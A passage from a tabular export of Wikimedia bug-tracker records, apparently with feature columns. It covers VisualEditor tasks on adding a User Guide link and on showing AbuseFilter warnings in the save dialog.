**Severity**: enhancement",High,80.0,1372621440,1372703974.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-pcueszubfgitqkx3f2bv,task_description,resolved,True,c1,2,False,False,True,-1,,3.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.6944444444444444,"As per URL .
Might be handy, since we're pretty much beginners with it.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
241705,VisualEditor: Add a link to the User Guide to the interface,This has been done and will go out later today.,,,1372703974,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,This has been done and will go out later today.
241701,VisualEditor: Add a link to the User Guide to the interface,"Change 71376 merged by jenkins-bot:
Add user guide link to beta icon drop down

https://gerrit.wikimedia.org/r/71376",,,1372703622,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,"Change 71376 merged by jenkins-bot:
Add user guide link to beta icon drop down

GERRIT_URL"
241696,VisualEditor: Add a link to the User Guide to the interface,"Change 71376 had a related patch set uploaded by Jforrester:
Add user guide link to beta icon drop down

https://gerrit.wikimedia.org/r/71376",,,1372699824,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.260869565217392,1.0,"Change 71376 had a related patch set uploaded by Jforrester:
Add user guide link to beta icon drop down

GERRIT_URL"
241690,VisualEditor: Add a link to the User Guide to the interface,"That sounds good. The link should probably be something like [[mw:Special:MyLanguage/Help:VisualEditor/User guide]] and live in a MediaWiki: interface message, so that wikis can customize it to link to a local page.

My feeling is that the link to the user guide should persist even after we're out of the beta, but we can discuss this then.",,,1372679384,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,3,False,,,0,,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,12.0,4.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,14.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,3.6794871794871793,0.7307692307692307,"That sounds good. The link should probably be something like [[mw:Special:MyLanguage/Help:VisualEditor/User guide]] and live in a MediaWiki: interface message, so that wikis can customize it to link to a local page.

My feeling is that the link to the user guide should persist even after we're out of the beta, but we can discuss this then."
241684,VisualEditor: Add a link to the User Guide to the interface,"Possibly add the help icon to the ""beta"" label, and have it as an option in the menu?",,,1372627245,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.8636363636363636,"Possibly add the help icon to the ""beta"" label, and have it as an option in the menu?"
52472,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"[Forked from the more general 50350.]

Currently when AbuseFilter blocks an edit made with VE, the only response we can display is:

| The modification you tried to make was aborted by an extension hook

When bug 32216 is done - AbuseFilter is changed to use the APIEditBeforeSave hook - we can display this significantly more nicely.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372618620,1374090444.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-xz7of2bozktz6cktgsun,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,10.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,12.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,6.0,5.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,1.0,4.190476190476191,0.6785714285714286,"[Forked from the more general 50350.]

Currently when AbuseFilter blocks an edit made with VE, the only response we can display is:

| The modification you tried to make was aborted by an extension hook

When bug 32216 is done - AbuseFilter is changed to use the APIEditBeforeSave hook - we can display this significantly more nicely.

--------------------------
**Version**: unspecified
**Severity**: major"
241230,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Then I suspect the problem is an extension of bug 50058, which will be fixed in time. If so, it's probably not worth prioritising as a new bug (or reopening this one) since abusefilter triggerers are likely to be new users, ergo on vector.",,,1374265703,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,2.0,8.0,6.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,6.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.769230769230769,0.8846153846153846,"Then I suspect the problem is an extension of bug 50058, which will be fixed in time. If so, it's probably not worth prioritising as a new bug (or reopening this one) since abusefilter triggerers are likely to be new users, ergo on vector."
241224,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:

Of course I use Monobook, Oliver.",,,1374265556,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.8125,"**kwwilliams** wrote:

Of course I use Monobook, Oliver."
241218,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Are you, by any chance, on monobook?",,,1374264793,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9,"Are you, by any chance, on monobook?"
241213,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:

Tested this, now that it is deployed, and have to say that while it the change came close to being a solution, it isn't quite there. The edit-filter notice produced when using the standard editor is large, easy to read, and quite clear. The edit-filter noticed produced when using VE is tiny, uses an infinitesimal font, and is extremely difficult to read.",,,1374264704,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,1.0,1.0,1.0,7.0,5.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,11.0,8.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,12.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,5.0,6.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7294117647058824,0.611764705882353,"**kwwilliams** wrote:

Tested this, now that it is deployed, and have to say that while it the change came close to being a solution, it isn't quite there. The edit-filter notice produced when using the standard editor is large, easy to read, and quite clear. The edit-filter noticed produced when using VE is tiny, uses an infinitesimal font, and is extremely difficult to read."
241208,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"enhancement->major, as this is an integration bug.",,,1374185775,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"enhancement->major, as this is an integration bug."
241203,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,*** Bug 50727 has been marked as a duplicate of this bug. ***,,,1374112342,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50727 has been marked as a duplicate of this bug. ***
241197,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,Warnings will now show (once we deploy).,,,1374090444,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Warnings will now show (once we deploy).
241191,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Change 74102 merged by jenkins-bot:
mw.ViewPageTarget: Show AbuseFilter warning in save dialog

https://gerrit.wikimedia.org/r/74102",,,1374087934,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.571428571428571,0.9523809523809523,"Change 74102 merged by jenkins-bot:
mw.ViewPageTarget: Show AbuseFilter warning in save dialog

GERRIT_URL"
241184,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Change 74102 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Show AbuseFilter warning in save dialog

https://gerrit.wikimedia.org/r/74102",,,1374023516,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.708333333333333,0.9583333333333334,"Change 74102 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Show AbuseFilter warning in save dialog

GERRIT_URL"
241179,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,Marked as blocked by 51403 in AbuseFilter.,,,1373928234,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,38.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Marked as blocked by 51403 in AbuseFilter.
241173,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Change 73877 merged by jenkins-bot:
mw.ViewPageTarget: Surface error messages from core edit api

https://gerrit.wikimedia.org/r/73877",,,1373927436,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.409090909090909,0.9545454545454546,"Change 73877 merged by jenkins-bot:
mw.ViewPageTarget: Surface error messages from core edit api

GERRIT_URL"
241167,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:

Just in case it's important to the fix, the message returned by the abuse filter is free format and generally contains templates and other markup.",,,1373926866,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8333333333333334,"**kwwilliams** wrote:

Just in case it's important to the fix, the message returned by the abuse filter is free format and generally contains templates and other markup."
241162,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"(In reply to comment #8)
> Change 73877 had a related patch set uploaded by Krinkle:
> mw.ViewPageTarget: Surface error messages from core edit api
> 
> https://gerrit.wikimedia.org/r/73877

This is not yet sufficient since we should be surfacing the
warning associated with the filter (or the abusefilter-warning
message by default). The most significant part we're missing
right now is:
* Localization
* The fact that (at least for some filters) they can submit
  the edit by just trying again.

This is currently blocked by the AbuseFilter not sending the parsed version of the triggered warning through the API (see http://cl.ly/image/1E2r1J2U3K0v, I'm getting raw wikitext instead of HTML).

And perhaps (though less important) we could also use a boolean property to distinguish between filters that are warnings that can be bypassed by trying again and filters which prevent the user from saving.",,,1373926321,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,2,,0.5,0.0,0.0,1.5,1.0,3.5,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,2.5,0.0,8.5,10.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,2.0,0.5,1.5,0.0,0.0,1.5,0.0,11.5,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,7.0,3.5,9.0,1.5,2.0,9.0,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,3.0,10.5,3.5,0.0,0.0,0.0,3.0,0.0,2.0,0.5,0.0,4.5,0.5,1.0,0.0,4.058441558441558,0.7532467532467533,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

This is not yet sufficient since we should be surfacing the
warning associated with the filter (or the abusefilter-warning
message by default). The most significant part we're missing
right now is:
* Localization
* The fact that (at least for some filters) they can submit
  the edit by just trying again.

This is currently blocked by the AbuseFilter not sending the parsed version of the triggered warning through the API (see URL I'm getting raw wikitext instead of HTML).

And perhaps (though less important) we could also use a boolean property to distinguish between filters that are warnings that can be bypassed by trying again and filters which prevent the user from saving."
241156,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Change 73877 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Surface error messages from core edit api

https://gerrit.wikimedia.org/r/73877",,,1373926266,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.56,0.96,"Change 73877 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Surface error messages from core edit api

GERRIT_URL"
241150,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,*** Bug 51139 has been marked as a duplicate of this bug. ***,,,1373495105,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51139 has been marked as a duplicate of this bug. ***
241146,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"(In reply to comment #5)
> Has this actually been deployed?

No.

> I just tested, and the error message has changed (it now reads ""invalid
> error code"", while it used to read ""Error: the notification you have made
> was aborted by an extension hook"").

That's almost certainly caused by the ""fixing"" of bug 32216, which changes what we need to integrate with.",,,1373401097,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,2.0,14.0,5.0,0.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2790697674418605,0.7674418604651163,"(In reply to comment #5)
QUOTE

No.

QUOTE
QUOTE
QUOTE

That's almost certainly caused by the ""fixing"" of bug 32216, which changes what we need to integrate with."
241140,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:

